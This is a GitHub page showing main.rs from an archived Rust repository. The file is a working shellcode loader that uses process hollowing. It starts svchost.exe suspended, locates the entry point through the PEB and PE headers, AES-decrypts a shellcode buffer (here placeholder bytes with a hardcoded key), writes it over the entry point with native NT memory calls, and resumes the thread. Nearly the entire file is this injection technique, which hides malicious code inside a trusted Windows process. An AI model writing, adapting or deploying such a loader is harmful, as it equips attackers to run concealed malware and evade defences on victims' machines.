This repository has been archived by the owner on Nov 21, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 38
/
main.rs
224 lines (185 loc) · 6.73 KB
/
main.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
use std::{
ptr::{
null_mut,
},
mem::{
size_of,
},
ffi::{
CString,
},
};
use libaes::Cipher;
use winapi::{
shared::{
ntdef::{
PSTR, NT_SUCCESS
},
},
um::{
processthreadsapi::{
CreateProcessA,
STARTUPINFOA,
PROCESS_INFORMATION,
},
winbase::{
CREATE_SUSPENDED,
},
errhandlingapi::{
GetLastError,
},
winnt::{
IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE, PAGE_READWRITE,
}, handleapi::CloseHandle,
},
ctypes::{
c_void
}
};
use ntapi::{
ntpsapi::{
PROCESS_BASIC_INFORMATION,
PROCESSINFOCLASS, NtQueryInformationProcess, NtResumeThread,
}, ntmmapi::{NtWriteVirtualMemory, NtReadVirtualMemory, NtProtectVirtualMemory}
};
fn main() {
let lp_application_name: PSTR = null_mut();
let lp_command_line = CString::new("C:\\Windows\\System32\\svchost.exe").unwrap().into_raw();
//let lp_current_directory: PSTR = null_mut();
let mut startup_info = STARTUPINFOA::default();
let mut process_information = PROCESS_INFORMATION::default();
let create_process_result = unsafe { CreateProcessA(
lp_application_name,
lp_command_line,
null_mut(),
null_mut(),
0,
CREATE_SUSPENDED,
null_mut(),
null_mut(),
&mut startup_info,
&mut process_information) };
if create_process_result == 0 {
panic!("[-] Failed to call CreateProcessA {:?}", unsafe { GetLastError() });
}
let process_handle = process_information.hProcess;
let thread_handle = process_information.hThread;
let mut process_basic_information = PROCESS_BASIC_INFORMATION::default();
let process_information_class = PROCESSINFOCLASS::default();
let status = unsafe { NtQueryInformationProcess(
process_handle,
process_information_class,
&mut process_basic_information as *mut _ as *mut c_void,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
null_mut()
) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to call NtQueryInformationProcess: {:#x}", status);
}
let image_base_offset = process_basic_information.PebBaseAddress as u64 + 0x10;
let mut image_base_buffer = [0; size_of::<&u8>()];
let status = unsafe { NtReadVirtualMemory(
process_handle,
image_base_offset as *mut c_void,
image_base_buffer.as_mut_ptr() as _,
image_base_buffer.len(),
null_mut()
) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to get ImageBaseAddress via NtReadVirtualMemory: {:#x}", status);
}
let image_base_address = usize::from_ne_bytes(image_base_buffer);
println!("[+] ImageBaseAddress: {:#x}", image_base_address);
let mut dos_header = IMAGE_DOS_HEADER::default();
let status = unsafe { NtReadVirtualMemory(
process_handle,
image_base_address as *mut c_void,
&mut dos_header as *mut _ as _,
std::mem::size_of::<IMAGE_DOS_HEADER>(),
null_mut()
) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to get IMAGE_DOS_HEADER via NtReadVirtualMemory: {status}");
} else if dos_header.e_magic != IMAGE_DOS_SIGNATURE {
panic!("[-] Error: IMAGE_DOS_HEADER is invalid")
}
let mut nt_header = IMAGE_NT_HEADERS64::default();
let status = unsafe { NtReadVirtualMemory(
process_handle,
(image_base_address + dos_header.e_lfanew as usize) as *mut c_void,
&mut nt_header as *mut _ as _,
std::mem::size_of::<IMAGE_NT_HEADERS64>(),
null_mut()
) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to get IMAGE_NT_HEADERS64 via NtReadVirtualMemory: {:#x}", status);
} else if nt_header.Signature != IMAGE_NT_SIGNATURE {
panic!("[-] Error: IMAGE_NT_HEADER is invalid");
}
let entry_point = image_base_address as usize + nt_header.OptionalHeader.AddressOfEntryPoint as usize;
println!("[+] AddressOfEntryPoint: {:#x}", entry_point);
//xor encrypted shellcode goes here.
//let xor_shellcode: Vec<u8> = vec![0x90, 0x90, 0x90];
//let mut shellcode: Vec<u8> = xor_decode(&encoded_shellcode, 0xDA);
//aes encrypted shellcode goes here
let aes_shellcode: Vec<u8> = vec![0x90, 0x90, 0x90];
let mut shellcode: Vec<u8> = aes_256_decrypt(&aes_shellcode, b"ABCDEFGHIJKLMNOPQRSTUVWXYZ-01337", b"This is 16 bytes");
//Change memory protection to PAGE_READWRITE
let mut base_address = entry_point as *mut c_void;
let mut buffer_length = shellcode.len();
let mut bytes_written = 0;
let mut old_protect: u32 = 0;
let status = unsafe { NtProtectVirtualMemory(process_handle, &mut base_address, &mut buffer_length, PAGE_READWRITE, &mut old_protect) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to call NtProtectVirtualMemory: {:#x}", status);
}
let base_address = entry_point as *mut c_void;
let buffer = shellcode.as_mut_ptr() as *mut c_void;
let buffer_length = shellcode.len();
let status = unsafe { NtWriteVirtualMemory(process_handle, base_address, buffer, buffer_length, &mut bytes_written) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to call NtWriteVirtualMemory: {:#x}", status);
}
//Restore memory protections to PAGE_READONLY
let mut base_address = entry_point as *mut c_void;
let mut buffer_length = shellcode.len();
let mut temp = 0;
let status = unsafe { NtProtectVirtualMemory(process_handle, &mut base_address, &mut buffer_length, old_protect, &mut temp) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to call NtProtectVirtualMemory and restore memory protection: {:#x}", status);
}
let mut suspend_count: u32 = 0;
let status = unsafe { NtResumeThread(thread_handle, &mut suspend_count) };
if !NT_SUCCESS(status) {
panic!("[-] Failed to call NtResumeThread: {:#x}", status);
}
unsafe {
CloseHandle(thread_handle);
CloseHandle(process_handle);
}
}
/*
fn xor_decode(shellcode: &Vec<u8>, key: u8) -> Vec<u8> {
shellcode.iter().map(|x| x ^ key).collect()
}
*/
fn aes_256_decrypt(shellcode: &Vec<u8>, key: &[u8; 32], iv: &[u8; 16]) -> Vec<u8> {
// Create a new 128-bit cipher
let cipher = Cipher::new_256(key);
//Decryption
let decrypted = cipher.cbc_decrypt(iv, &shellcode);
decrypted
}
/*
fn get_input() -> io::Result<()> {
let mut buf = String::new();
std::io::stdin().read_line(&mut buf)?;
Ok(())
}
/// Used for debugging
fn pause() {
match get_input() {
Ok(buffer) => println!("{:?}", buffer),
Err(error) => println!("error: {}", error),
};
}*/